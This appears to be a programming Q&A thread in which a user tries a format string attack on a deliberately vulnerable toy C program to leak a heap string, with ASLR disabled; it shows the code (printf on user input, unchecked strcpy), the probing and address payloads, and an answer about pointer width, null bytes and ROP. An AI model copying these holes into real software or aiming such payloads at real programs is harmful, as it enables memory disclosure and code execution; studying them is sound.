Simple format string attack not working as expected

392 Views Asked by At

I am trying to get a secret through a simple format string attack but I am getting a segmentation fault instead.

This is my c code. My aim is to get the secret "1234" by doing a format string attack on printf in the vuln() function.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *user_input){
  char buf[128];
  strcpy(buf, user_input);
  printf(buf);
  printf("\n");
}

int main(int argc, char **argv) {
  char *secret = (char *) malloc(5);
  strcpy(secret, "1234");
  printf("secret is at: %p\n", secret);
  vuln(argv[1]);
}

I ran ./a.out "AAAA$(python -c 'print("%08x "*20)') to figure out how much padding I needed.

I got the output below. ASLR is disabled so the address of the secret is always the same

secret is at: 0x5555555592a0
AAAAffffe3df ffffe3c1 00000009 00000078 00000410 00000000 ffffe3c1 41414141 38302520 25207838
 78383025 30252078 20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838

I have disabled ASLR so the address of the secret is always the same. From the output I see that I need 7 paddings before reaching AAAA (41414141).

So to get the secret I ran

./a.out $(python -c 'print("\xa0\x92\x55\x55\x55\x55%x%x%x%x%x%x%x%s")')

The output is

secret is at: 0x5555555592a0
[1]    44851 segmentation fault (core dumped)  ./a.out $(python -c 'print("\xa0\x92\x55\x55\x55\x55%x%x%x%x%x%x%x%s")')

Not sure why I am getting a segmentation fault here. After the paddings I should be at the address of the secret and dereference it to get back a string.

Not sure if it helps but when I tried it with 6 paddings this is the output i got

./a.out $(python -c 'print("\xa0\x92\x55\x55\x55\x55%x%x%x%x%x%x%s")')  
secret is at: 0x5555555592a0
 UUUUffffe41316400000784100 UUUU%x%x%x%x%x%x%s
1

There are 1 best solutions below

0
Zeltrax On

You need 8 bytes for %s to print a string, because of pointer size on x64 system, \xa0\x92\x55\x55\x55\x55 only has 6 bytes. You need to write \xa0\x92\x55\x55\x55\x55\x00\x00 for proper address. But this will raise a new problem, you cannot pass \x00 to the argument.

In my opinion, format string doesn't work here, you need to find rop chain without NULL character and do buffer overflow to read the secret.